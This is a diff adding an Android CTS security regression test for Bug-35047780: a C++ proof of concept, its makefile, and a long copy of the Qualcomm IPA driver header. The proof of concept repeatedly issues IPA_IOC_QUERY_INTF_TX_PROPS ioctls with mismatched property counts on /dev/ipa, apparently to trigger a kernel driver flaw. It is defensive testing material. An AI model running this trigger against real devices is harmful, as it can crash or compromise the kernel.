+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions
+ * and limitations under the License.
+ **/
+
+
+#define _GNU_SOURCE
+
+#include <pthread.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sys/ioctl.h>
+#include <string.h>
+#include "local_poc.h"
+#include <unistd.h>
+#include <stdio.h>
+
+struct ipa_ioc_query_intf_tx_props_2 {
+        char name[IPA_RESOURCE_NAME_MAX];
+        uint32_t num_tx_props;
+        struct ipa_ioc_tx_intf_prop tx[2];
+};
+
+int main() {
+
+        int fd = open("/dev/ipa", O_RDWR);
+
+        struct ipa_ioc_query_intf query_intf;
+        strlcpy(&(query_intf.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
+
+        int result = ioctl(fd, IPA_IOC_QUERY_INTF, &query_intf);
+
+        ipa_ioc_query_intf_tx_props_2 tx_props_2;
+        memset(&tx_props_2, 0, sizeof(tx_props_2));
+        strlcpy(&(tx_props_2.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
+        tx_props_2.num_tx_props = 2;
+
+        int result2 = ioctl(fd, IPA_IOC_QUERY_INTF_TX_PROPS, &tx_props_2);
+
+        while (true) {
+                ipa_ioc_query_intf_tx_props tx_props;
+                memset(&tx_props, 0, sizeof(tx_props));
+                strlcpy(&(tx_props.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
+                tx_props.num_tx_props = 0;
+
+                int result3 = ioctl(fd, IPA_IOC_QUERY_INTF_TX_PROPS, &tx_props);
+
+                usleep(10000);
+        }
+        return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-35047780/Android.mk b/hostsidetests/security/securityPatch/Bug-35047780/Android.mk
new file mode 100644
index 0000000..d4c91bb
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35047780/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35047780
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35047780/local_poc.h b/hostsidetests/security/securityPatch/Bug-35047780/local_poc.h
new file mode 100644
index 0000000..106681c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35047780/local_poc.h
@@ -0,0 +1,1759 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef _UAPI_MSM_IPA_H_
+#define _UAPI_MSM_IPA_H_
+
+#ifndef __KERNEL__
+#include <stdint.h>
+#include <stddef.h>
+#include <sys/stat.h>
+#endif
+#include <linux/ioctl.h>
+#include <linux/types.h>
+#include <linux/if_ether.h>
+
+/**
+ * unique magic number of the IPA device
+ */
+#define IPA_IOC_MAGIC 0xCF
+
+/**
+ * name of the default routing tables for v4 and v6
+ */
+#define IPA_DFLT_RT_TBL_NAME "ipa_dflt_rt"
+
+/**
+ *   the commands supported by IPA driver
+ */
+#define IPA_IOCTL_ADD_HDR            0
+#define IPA_IOCTL_DEL_HDR            1
+#define IPA_IOCTL_ADD_RT_RULE        2
+#define IPA_IOCTL_DEL_RT_RULE        3
+#define IPA_IOCTL_ADD_FLT_RULE       4
+#define IPA_IOCTL_DEL_FLT_RULE       5
+#define IPA_IOCTL_COMMIT_HDR         6
+#define IPA_IOCTL_RESET_HDR          7
+#define IPA_IOCTL_COMMIT_RT          8
+#define IPA_IOCTL_RESET_RT           9
+#define IPA_IOCTL_COMMIT_FLT        10
+#define IPA_IOCTL_RESET_FLT         11
+#define IPA_IOCTL_DUMP              12
+#define IPA_IOCTL_GET_RT_TBL        13
+#define IPA_IOCTL_PUT_RT_TBL        14
+#define IPA_IOCTL_COPY_HDR          15
+#define IPA_IOCTL_QUERY_INTF        16
+#define IPA_IOCTL_QUERY_INTF_TX_PROPS 17
+#define IPA_IOCTL_QUERY_INTF_RX_PROPS 18
+#define IPA_IOCTL_GET_HDR           19
+#define IPA_IOCTL_PUT_HDR           20
+#define IPA_IOCTL_SET_FLT        21
+#define IPA_IOCTL_ALLOC_NAT_MEM  22
+#define IPA_IOCTL_V4_INIT_NAT    23
+#define IPA_IOCTL_NAT_DMA        24
+#define IPA_IOCTL_V4_DEL_NAT     26
+#define IPA_IOCTL_PULL_MSG       27
+#define IPA_IOCTL_GET_NAT_OFFSET 28
+#define IPA_IOCTL_RM_ADD_DEPENDENCY 29
+#define IPA_IOCTL_RM_DEL_DEPENDENCY 30
+#define IPA_IOCTL_GENERATE_FLT_EQ 31
+#define IPA_IOCTL_QUERY_INTF_EXT_PROPS 32
+#define IPA_IOCTL_QUERY_EP_MAPPING 33
+#define IPA_IOCTL_QUERY_RT_TBL_INDEX 34
+#define IPA_IOCTL_WRITE_QMAPID 35
+#define IPA_IOCTL_MDFY_FLT_RULE 36
+#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD        37
+#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL        38
+#define IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED        39
+#define IPA_IOCTL_ADD_HDR_PROC_CTX 40
+#define IPA_IOCTL_DEL_HDR_PROC_CTX 41
+#define IPA_IOCTL_MDFY_RT_RULE 42
+#define IPA_IOCTL_ADD_RT_RULE_AFTER 43
+#define IPA_IOCTL_ADD_FLT_RULE_AFTER 44
+#define IPA_IOCTL_GET_HW_VERSION 45
+#define IPA_IOCTL_MAX 46
+
+/**
+ * max size of the header to be inserted
+ */
+#define IPA_HDR_MAX_SIZE 64
+
+/**
+ * max size of the name of the resource (routing table, header)
+ */
+#define IPA_RESOURCE_NAME_MAX 32
+
+/**
+ * max number of interface properties
+ */
+#define IPA_NUM_PROPS_MAX 35
+
+/**
+ * size of the mac address
+ */
+#define IPA_MAC_ADDR_SIZE  6
+
+/**
+ * max number of mbim streams
+ */
+#define IPA_MBIM_MAX_STREAM_NUM 8
+
+/**
+ * the attributes of the rule (routing or filtering)
+ */
+#define IPA_FLT_TOS                        (1ul << 0)
+#define IPA_FLT_PROTOCOL                (1ul << 1)
+#define IPA_FLT_SRC_ADDR                (1ul << 2)
+#define IPA_FLT_DST_ADDR                (1ul << 3)
+#define IPA_FLT_SRC_PORT_RANGE                (1ul << 4)
+#define IPA_FLT_DST_PORT_RANGE                (1ul << 5)
+#define IPA_FLT_TYPE                        (1ul << 6)
+#define IPA_FLT_CODE                        (1ul << 7)
+#define IPA_FLT_SPI                        (1ul << 8)
+#define IPA_FLT_SRC_PORT                (1ul << 9)
+#define IPA_FLT_DST_PORT                (1ul << 10)
+#define IPA_FLT_TC                        (1ul << 11)
+#define IPA_FLT_FLOW_LABEL                (1ul << 12)
+#define IPA_FLT_NEXT_HDR                (1ul << 13)
+#define IPA_FLT_META_DATA                (1ul << 14)
+#define IPA_FLT_FRAGMENT                (1ul << 15)
+#define IPA_FLT_TOS_MASKED                (1ul << 16)
+#define IPA_FLT_MAC_SRC_ADDR_ETHER_II        (1ul << 17)
+#define IPA_FLT_MAC_DST_ADDR_ETHER_II        (1ul << 18)
+#define IPA_FLT_MAC_SRC_ADDR_802_3        (1ul << 19)
+#define IPA_FLT_MAC_DST_ADDR_802_3        (1ul << 20)
+#define IPA_FLT_MAC_ETHER_TYPE                (1ul << 21)
+
+/**
+ * enum ipa_client_type - names for the various IPA "clients"
+ * these are from the perspective of the clients, for e.g.
+ * HSIC1_PROD means HSIC client is the producer and IPA is the
+ * consumer
+ */
+enum ipa_client_type {
+        IPA_CLIENT_PROD,
+        IPA_CLIENT_HSIC1_PROD = IPA_CLIENT_PROD,
+        IPA_CLIENT_WLAN1_PROD,
+        IPA_CLIENT_HSIC2_PROD,
+        IPA_CLIENT_USB2_PROD,
+        IPA_CLIENT_HSIC3_PROD,
+        IPA_CLIENT_USB3_PROD,
+        IPA_CLIENT_HSIC4_PROD,
+        IPA_CLIENT_USB4_PROD,
+        IPA_CLIENT_HSIC5_PROD,
+        IPA_CLIENT_USB_PROD,
+        IPA_CLIENT_A5_WLAN_AMPDU_PROD,
+        IPA_CLIENT_A2_EMBEDDED_PROD,
+        IPA_CLIENT_A2_TETHERED_PROD,
+        IPA_CLIENT_APPS_LAN_WAN_PROD,
+        IPA_CLIENT_APPS_CMD_PROD,
+        IPA_CLIENT_ODU_PROD,
+        IPA_CLIENT_MHI_PROD,
+        IPA_CLIENT_Q6_LAN_PROD,
+        IPA_CLIENT_Q6_WAN_PROD,
+        IPA_CLIENT_Q6_CMD_PROD,
+        IPA_CLIENT_MEMCPY_DMA_SYNC_PROD,
+        IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD,
+        IPA_CLIENT_Q6_DECOMP_PROD,
+        IPA_CLIENT_Q6_DECOMP2_PROD,
+        IPA_CLIENT_UC_USB_PROD,
+
+        /* Below PROD client type is only for test purpose */
+        IPA_CLIENT_TEST_PROD,
+        IPA_CLIENT_TEST1_PROD,
+        IPA_CLIENT_TEST2_PROD,
+        IPA_CLIENT_TEST3_PROD,
+        IPA_CLIENT_TEST4_PROD,
+
+        IPA_CLIENT_CONS,
+        IPA_CLIENT_HSIC1_CONS = IPA_CLIENT_CONS,
+        IPA_CLIENT_WLAN1_CONS,
+        IPA_CLIENT_HSIC2_CONS,
+        IPA_CLIENT_USB2_CONS,
+        IPA_CLIENT_WLAN2_CONS,
+        IPA_CLIENT_HSIC3_CONS,
+        IPA_CLIENT_USB3_CONS,
+        IPA_CLIENT_WLAN3_CONS,
+        IPA_CLIENT_HSIC4_CONS,
+        IPA_CLIENT_USB4_CONS,
+        IPA_CLIENT_WLAN4_CONS,
+        IPA_CLIENT_HSIC5_CONS,
+        IPA_CLIENT_USB_CONS,
+        IPA_CLIENT_USB_DPL_CONS,
+        IPA_CLIENT_A2_EMBEDDED_CONS,
+        IPA_CLIENT_A2_TETHERED_CONS,
+        IPA_CLIENT_A5_LAN_WAN_CONS,
+        IPA_CLIENT_APPS_LAN_CONS,
+        IPA_CLIENT_APPS_WAN_CONS,
+        IPA_CLIENT_ODU_EMB_CONS,
+        IPA_CLIENT_ODU_TETH_CONS,
+        IPA_CLIENT_MHI_CONS,
+        IPA_CLIENT_Q6_LAN_CONS,
+        IPA_CLIENT_Q6_WAN_CONS,
+        IPA_CLIENT_Q6_DUN_CONS,
+        IPA_CLIENT_MEMCPY_DMA_SYNC_CONS,
+        IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS,
+        IPA_CLIENT_Q6_DECOMP_CONS,
+        IPA_CLIENT_Q6_DECOMP2_CONS,
+        IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS,
+        /* Below CONS client type is only for test purpose */
+        IPA_CLIENT_TEST_CONS,
+        IPA_CLIENT_TEST1_CONS,
+        IPA_CLIENT_TEST2_CONS,
+        IPA_CLIENT_TEST3_CONS,
+        IPA_CLIENT_TEST4_CONS,
+
+        IPA_CLIENT_MAX,
+};
+
+#define IPA_CLIENT_IS_APPS_CONS(client) \
+        ((client) == IPA_CLIENT_APPS_LAN_CONS || \
+        (client) == IPA_CLIENT_APPS_WAN_CONS)
+
+#define IPA_CLIENT_IS_USB_CONS(client) \
+        ((client) == IPA_CLIENT_USB_CONS || \
+        (client) == IPA_CLIENT_USB2_CONS || \
+        (client) == IPA_CLIENT_USB3_CONS || \
+        (client) == IPA_CLIENT_USB_DPL_CONS || \
+        (client) == IPA_CLIENT_USB4_CONS)
+
+#define IPA_CLIENT_IS_WLAN_CONS(client) \
+        ((client) == IPA_CLIENT_WLAN1_CONS || \
+        (client) == IPA_CLIENT_WLAN2_CONS || \
+        (client) == IPA_CLIENT_WLAN3_CONS || \
+        (client) == IPA_CLIENT_WLAN4_CONS)
+
+#define IPA_CLIENT_IS_ODU_CONS(client) \
+        ((client) == IPA_CLIENT_ODU_EMB_CONS || \
+        (client) == IPA_CLIENT_ODU_TETH_CONS)
+
+#define IPA_CLIENT_IS_Q6_CONS(client) \
+        ((client) == IPA_CLIENT_Q6_LAN_CONS || \
+        (client) == IPA_CLIENT_Q6_WAN_CONS || \
+        (client) == IPA_CLIENT_Q6_DUN_CONS || \
+        (client) == IPA_CLIENT_Q6_DECOMP_CONS || \
+        (client) == IPA_CLIENT_Q6_DECOMP2_CONS || \
+        (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
+
+#define IPA_CLIENT_IS_Q6_PROD(client) \
+        ((client) == IPA_CLIENT_Q6_LAN_PROD || \
+        (client) == IPA_CLIENT_Q6_WAN_PROD || \
+        (client) == IPA_CLIENT_Q6_CMD_PROD || \
+        (client) == IPA_CLIENT_Q6_DECOMP_PROD || \
+        (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
+
+#define IPA_CLIENT_IS_Q6_NON_ZIP_CONS(client) \
+        ((client) == IPA_CLIENT_Q6_LAN_CONS || \
+        (client) == IPA_CLIENT_Q6_WAN_CONS || \
+        (client) == IPA_CLIENT_Q6_DUN_CONS || \
+        (client) == IPA_CLIENT_Q6_LTE_WIFI_AGGR_CONS)
+
+#define IPA_CLIENT_IS_Q6_ZIP_CONS(client) \
+        ((client) == IPA_CLIENT_Q6_DECOMP_CONS || \
+        (client) == IPA_CLIENT_Q6_DECOMP2_CONS)
+
+#define IPA_CLIENT_IS_Q6_NON_ZIP_PROD(client) \
+        ((client) == IPA_CLIENT_Q6_LAN_PROD || \
+        (client) == IPA_CLIENT_Q6_WAN_PROD || \
+        (client) == IPA_CLIENT_Q6_CMD_PROD)
+
+#define IPA_CLIENT_IS_Q6_ZIP_PROD(client) \
+        ((client) == IPA_CLIENT_Q6_DECOMP_PROD || \
+        (client) == IPA_CLIENT_Q6_DECOMP2_PROD)
+
+#define IPA_CLIENT_IS_MEMCPY_DMA_CONS(client) \
+        ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_CONS || \
+        (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_CONS)
+
+#define IPA_CLIENT_IS_MEMCPY_DMA_PROD(client) \
+        ((client) == IPA_CLIENT_MEMCPY_DMA_SYNC_PROD || \
+        (client) == IPA_CLIENT_MEMCPY_DMA_ASYNC_PROD)
+
+#define IPA_CLIENT_IS_MHI_CONS(client) \
+        ((client) == IPA_CLIENT_MHI_CONS)
+
+#define IPA_CLIENT_IS_MHI(client) \
+        ((client) == IPA_CLIENT_MHI_CONS || \
+        (client) == IPA_CLIENT_MHI_PROD)
+
+#define IPA_CLIENT_IS_TEST_PROD(client) \
+        ((client) == IPA_CLIENT_TEST_PROD || \
+        (client) == IPA_CLIENT_TEST1_PROD || \
+        (client) == IPA_CLIENT_TEST2_PROD || \
+        (client) == IPA_CLIENT_TEST3_PROD || \
+        (client) == IPA_CLIENT_TEST4_PROD)
+
+#define IPA_CLIENT_IS_TEST_CONS(client) \
+        ((client) == IPA_CLIENT_TEST_CONS || \
+        (client) == IPA_CLIENT_TEST1_CONS || \
+        (client) == IPA_CLIENT_TEST2_CONS || \
+        (client) == IPA_CLIENT_TEST3_CONS || \
+        (client) == IPA_CLIENT_TEST4_CONS)
+
+#define IPA_CLIENT_IS_TEST(client) \
+        (IPA_CLIENT_IS_TEST_PROD(client) || IPA_CLIENT_IS_TEST_CONS(client))
+
+/**
+ * enum ipa_ip_type - Address family: IPv4 or IPv6
+ */
+enum ipa_ip_type {
+        IPA_IP_v4,
+        IPA_IP_v6,
+        IPA_IP_MAX
+};
+
+/**
+ * enum ipa_rule_type - Type of routing or filtering rule
+ * Hashable: Rule will be located at the hashable tables
+ * Non_Hashable: Rule will be located at the non-hashable tables
+ */
+enum ipa_rule_type {
+        IPA_RULE_HASHABLE,
+        IPA_RULE_NON_HASHABLE,
+        IPA_RULE_TYPE_MAX
+};
+
+/**
+ * enum ipa_flt_action - action field of filtering rule
+ *
+ * Pass to routing: 5'd0
+ * Pass to source NAT: 5'd1
+ * Pass to destination NAT: 5'd2
+ * Pass to default output pipe (e.g., Apps or Modem): 5'd3
+ */
+enum ipa_flt_action {
+        IPA_PASS_TO_ROUTING,
+        IPA_PASS_TO_SRC_NAT,
+        IPA_PASS_TO_DST_NAT,
+        IPA_PASS_TO_EXCEPTION
+};
+
+/**
+ * enum ipa_wlan_event - Events for wlan client
+ *
+ * wlan client connect: New wlan client connected
+ * wlan client disconnect: wlan client disconnected
+ * wlan client power save: wlan client moved to power save
+ * wlan client normal: wlan client moved out of power save
+ * sw routing enable: ipa routing is disabled
+ * sw routing disable: ipa routing is enabled
+ * wlan ap connect: wlan AP(access point) is up
+ * wlan ap disconnect: wlan AP(access point) is down
+ * wlan sta connect: wlan STA(station) is up
+ * wlan sta disconnect: wlan STA(station) is down
+ * wlan client connect ex: new wlan client connected
+ * wlan scc switch: wlan interfaces in scc mode
+ * wlan mcc switch: wlan interfaces in mcc mode
+ * wlan wdi enable: wdi data path completed
+ * wlan wdi disable: wdi data path teardown
+ */
+enum ipa_wlan_event {
+        WLAN_CLIENT_CONNECT,
+        WLAN_CLIENT_DISCONNECT,
+        WLAN_CLIENT_POWER_SAVE_MODE,
+        WLAN_CLIENT_NORMAL_MODE,
+        SW_ROUTING_ENABLE,
+        SW_ROUTING_DISABLE,
+        WLAN_AP_CONNECT,
+        WLAN_AP_DISCONNECT,
+        WLAN_STA_CONNECT,
+        WLAN_STA_DISCONNECT,
+        WLAN_CLIENT_CONNECT_EX,
+        WLAN_SWITCH_TO_SCC,
+        WLAN_SWITCH_TO_MCC,
+        WLAN_WDI_ENABLE,
+        WLAN_WDI_DISABLE,
+        IPA_WLAN_EVENT_MAX
+};
+
+/**
+ * enum ipa_wan_event - Events for wan client
+ *
+ * wan default route add/del
+ * wan embms connect: New wan embms interface connected
+ */
+enum ipa_wan_event {
+        WAN_UPSTREAM_ROUTE_ADD = IPA_WLAN_EVENT_MAX,
+        WAN_UPSTREAM_ROUTE_DEL,
+        WAN_EMBMS_CONNECT,
+        WAN_XLAT_CONNECT,
+        IPA_WAN_EVENT_MAX
+};
+
+enum ipa_ecm_event {
+        ECM_CONNECT = IPA_WAN_EVENT_MAX,
+        ECM_DISCONNECT,
+        IPA_ECM_EVENT_MAX,
+};
+
+enum ipa_tethering_stats_event {
+        IPA_TETHERING_STATS_UPDATE_STATS = IPA_ECM_EVENT_MAX,
+        IPA_TETHERING_STATS_UPDATE_NETWORK_STATS,
+        IPA_TETHERING_STATS_EVENT_MAX,
+        IPA_EVENT_MAX_NUM = IPA_TETHERING_STATS_EVENT_MAX
+};
+
+#define IPA_EVENT_MAX ((int)IPA_EVENT_MAX_NUM)
+
+/**
+ * enum ipa_rm_resource_name - IPA RM clients identification names
+ *
+ * Add new mapping to ipa_rm_prod_index() / ipa_rm_cons_index()
+ * when adding new entry to this enum.
+ */
+enum ipa_rm_resource_name {
+        IPA_RM_RESOURCE_PROD = 0,
+        IPA_RM_RESOURCE_Q6_PROD = IPA_RM_RESOURCE_PROD,
+        IPA_RM_RESOURCE_USB_PROD,
+        IPA_RM_RESOURCE_USB_DPL_DUMMY_PROD,
+        IPA_RM_RESOURCE_HSIC_PROD,
+        IPA_RM_RESOURCE_STD_ECM_PROD,
+        IPA_RM_RESOURCE_RNDIS_PROD,
+        IPA_RM_RESOURCE_WWAN_0_PROD,
+        IPA_RM_RESOURCE_WLAN_PROD,
+        IPA_RM_RESOURCE_ODU_ADAPT_PROD,
+        IPA_RM_RESOURCE_MHI_PROD,
+        IPA_RM_RESOURCE_PROD_MAX,
+
+        IPA_RM_RESOURCE_Q6_CONS = IPA_RM_RESOURCE_PROD_MAX,
+        IPA_RM_RESOURCE_USB_CONS,
+        IPA_RM_RESOURCE_USB_DPL_CONS,
+        IPA_RM_RESOURCE_HSIC_CONS,
+        IPA_RM_RESOURCE_WLAN_CONS,
+        IPA_RM_RESOURCE_APPS_CONS,
+        IPA_RM_RESOURCE_ODU_ADAPT_CONS,
+        IPA_RM_RESOURCE_MHI_CONS,
+        IPA_RM_RESOURCE_MAX
+};
+
+/**
+ * enum ipa_hw_type - IPA hardware version type
+ * @IPA_HW_None: IPA hardware version not defined
+ * @IPA_HW_v1_0: IPA hardware version 1.0
+ * @IPA_HW_v1_1: IPA hardware version 1.1
+ * @IPA_HW_v2_0: IPA hardware version 2.0
+ * @IPA_HW_v2_1: IPA hardware version 2.1
+ * @IPA_HW_v2_5: IPA hardware version 2.5
+ * @IPA_HW_v2_6: IPA hardware version 2.6
+ * @IPA_HW_v2_6L: IPA hardware version 2.6L
+ * @IPA_HW_v3_0: IPA hardware version 3.0
+ */
+enum ipa_hw_type {
+        IPA_HW_None = 0,
+        IPA_HW_v1_0 = 1,
+        IPA_HW_v1_1 = 2,
+        IPA_HW_v2_0 = 3,
+        IPA_HW_v2_1 = 4,
+        IPA_HW_v2_5 = 5,
+        IPA_HW_v2_6 = IPA_HW_v2_5,
+        IPA_HW_v2_6L = 6,
+        IPA_HW_v3_0 = 10,
+        IPA_HW_v3_1 = 11,
+        IPA_HW_MAX
+};
+
+/**
+ * struct ipa_rule_attrib - attributes of a routing/filtering
+ * rule, all in LE
+ * @attrib_mask: what attributes are valid
+ * @src_port_lo: low port of src port range
+ * @src_port_hi: high port of src port range
+ * @dst_port_lo: low port of dst port range
+ * @dst_port_hi: high port of dst port range
+ * @type: ICMP/IGMP type
+ * @code: ICMP/IGMP code
+ * @spi: IPSec SPI
+ * @src_port: exact src port
+ * @dst_port: exact dst port
+ * @meta_data: meta-data val
+ * @meta_data_mask: meta-data mask
+ * @u.v4.tos: type of service
+ * @u.v4.protocol: protocol
+ * @u.v4.src_addr: src address value
+ * @u.v4.src_addr_mask: src address mask
+ * @u.v4.dst_addr: dst address value
+ * @u.v4.dst_addr_mask: dst address mask
+ * @u.v6.tc: traffic class
+ * @u.v6.flow_label: flow label
+ * @u.v6.next_hdr: next header
+ * @u.v6.src_addr: src address val
+ * @u.v6.src_addr_mask: src address mask
+ * @u.v6.dst_addr: dst address val
+ * @u.v6.dst_addr_mask: dst address mask
+ */
+struct ipa_rule_attrib {
+        uint32_t attrib_mask;
+        uint16_t src_port_lo;
+        uint16_t src_port_hi;
+        uint16_t dst_port_lo;
+        uint16_t dst_port_hi;
+        uint8_t type;
+        uint8_t code;
+        uint8_t tos_value;
+        uint8_t tos_mask;
+        uint32_t spi;
+        uint16_t src_port;
+        uint16_t dst_port;
+        uint32_t meta_data;
+        uint32_t meta_data_mask;
+        uint8_t src_mac_addr[ETH_ALEN];
+        uint8_t src_mac_addr_mask[ETH_ALEN];
+        uint8_t dst_mac_addr[ETH_ALEN];
+        uint8_t dst_mac_addr_mask[ETH_ALEN];
+        uint16_t ether_type;
+        union {
+                struct {
+                        uint8_t tos;
+                        uint8_t protocol;
+                        uint32_t src_addr;
+                        uint32_t src_addr_mask;
+                        uint32_t dst_addr;
+                        uint32_t dst_addr_mask;
+                } v4;
+                struct {
+                        uint8_t tc;
+                        uint32_t flow_label;
+                        uint8_t next_hdr;
+                        uint32_t src_addr[4];
+                        uint32_t src_addr_mask[4];
+                        uint32_t dst_addr[4];
+                        uint32_t dst_addr_mask[4];
+                } v6;
+        } u;
+};
+
+/*! @brief The maximum number of Mask Equal 32 Eqns */
+#define IPA_IPFLTR_NUM_MEQ_32_EQNS 2
+
+/*! @brief The maximum number of IHL offset Mask Equal 32 Eqns */
+#define IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS 2
+
+/*! @brief The maximum number of Mask Equal 128 Eqns */
+#define IPA_IPFLTR_NUM_MEQ_128_EQNS 2
+
+/*! @brief The maximum number of IHL offset Range Check 16 Eqns */
+#define IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS 2
+
+/*! @brief Offset and 16 bit comparison equation */
+struct ipa_ipfltr_eq_16 {
+        int8_t offset;
+        uint16_t value;
+};
+
+/*! @brief Offset and 32 bit comparison equation */
+struct ipa_ipfltr_eq_32 {
+        int8_t offset;
+        uint32_t value;
+};
+
+/*! @brief Offset and 128 bit masked comparison equation */
+struct ipa_ipfltr_mask_eq_128 {
+        int8_t offset;
+        uint8_t mask[16];
+        uint8_t value[16];
+};
+
+/*! @brief Offset and 32 bit masked comparison equation */
+struct ipa_ipfltr_mask_eq_32 {
+        int8_t offset;
+        uint32_t mask;
+        uint32_t value;
+};
+
+/*! @brief Equation for identifying a range. Ranges are inclusive */
+struct ipa_ipfltr_range_eq_16 {
+        int8_t offset;
+        uint16_t range_low;
+        uint16_t range_high;
+};
+
+/*! @brief Rule equations which are set according to DS filter installation */
+struct ipa_ipfltri_rule_eq {
+        /*! 16-bit Bitmask to indicate how many eqs are valid in this rule  */
+        uint16_t rule_eq_bitmap;
+        /*! Specifies if a type of service check rule is present */
+        uint8_t tos_eq_present;
+        /*! The value to check against the type of service (ipv4) field */
+        uint8_t tos_eq;
+        /*! Specifies if a protocol check rule is present */
+        uint8_t protocol_eq_present;
+        /*! The value to check against the protocol (ipv6) field */
+        uint8_t protocol_eq;
+        /*! The number of ip header length offset 16 bit range check
+         * rules in this rule */
+        uint8_t num_ihl_offset_range_16;
+        /*! An array of the registered ip header length offset 16 bit
+         * range check rules */
+        struct ipa_ipfltr_range_eq_16
+                ihl_offset_range_16[IPA_IPFLTR_NUM_IHL_RANGE_16_EQNS];
+        /*! The number of mask equal 32 rules present in this rule */
+        uint8_t num_offset_meq_32;
+        /*! An array of all the possible mask equal 32 rules in this rule */
+        struct ipa_ipfltr_mask_eq_32
+                offset_meq_32[IPA_IPFLTR_NUM_MEQ_32_EQNS];
+        /*! Specifies if the traffic class rule is present in this rule */
+        uint8_t tc_eq_present;
+        /*! The value to check the traffic class (ipv4) field against */
+        uint8_t tc_eq;
+        /*! Specifies if the flow equals rule is present in this rule */
+        uint8_t fl_eq_present;
+        /*! The value to check the flow (ipv6) field against */
+        uint32_t fl_eq;
+        /*! The number of ip header length offset 16 bit equations in this
+         * rule */
+        uint8_t ihl_offset_eq_16_present;
+        /*! The ip header length offset 16 bit equation */
+        struct ipa_ipfltr_eq_16 ihl_offset_eq_16;
+        /*! The number of ip header length offset 32 bit equations in this
+         * rule */
+        uint8_t ihl_offset_eq_32_present;
+        /*! The ip header length offset 32 bit equation */
+        struct ipa_ipfltr_eq_32 ihl_offset_eq_32;
+        /*! The number of ip header length offset 32 bit mask equations in
+         * this rule */
+        uint8_t num_ihl_offset_meq_32;
+        /*! The ip header length offset 32 bit mask equation */
+        struct ipa_ipfltr_mask_eq_32
+                ihl_offset_meq_32[IPA_IPFLTR_NUM_IHL_MEQ_32_EQNS];
+        /*! The number of ip header length offset 128 bit equations in this
+         * rule */
+        uint8_t num_offset_meq_128;
+        /*! The ip header length offset 128 bit equation */
+        struct ipa_ipfltr_mask_eq_128
+                offset_meq_128[IPA_IPFLTR_NUM_MEQ_128_EQNS];
+        /*! The metadata 32 bit masked comparison equation present or not */
+        /* Metadata based rules are added internally by IPA driver */
+        uint8_t metadata_meq32_present;
+        /*! The metadata 32 bit masked comparison equation */
+        struct ipa_ipfltr_mask_eq_32 metadata_meq32;
+        /*! Specifies if the Fragment equation is present in this rule */
+        uint8_t ipv4_frag_eq_present;
+};
+
+/**
+ * struct ipa_flt_rule - attributes of a filtering rule
+ * @retain_hdr: bool switch to instruct IPA core to add back to the packet
+ *  the header removed as part of header removal
+ * @to_uc: bool switch to pass packet to micro-controller
+ * @action: action field
+ * @rt_tbl_hdl: handle of table from "get"
+ * @attrib: attributes of the rule
+ * @eq_attrib: attributes of the rule in equation form (valid when
+ * eq_attrib_type is true)
+ * @rt_tbl_idx: index of RT table referred to by filter rule (valid when
+ * eq_attrib_type is true and non-exception action)
+ * @eq_attrib_type: true if equation level form used to specify attributes
+ * @max_prio: bool switch. is this rule with Max priority? meaning on rule hit,
+ *  IPA will use the rule and will not look for other rules that may have
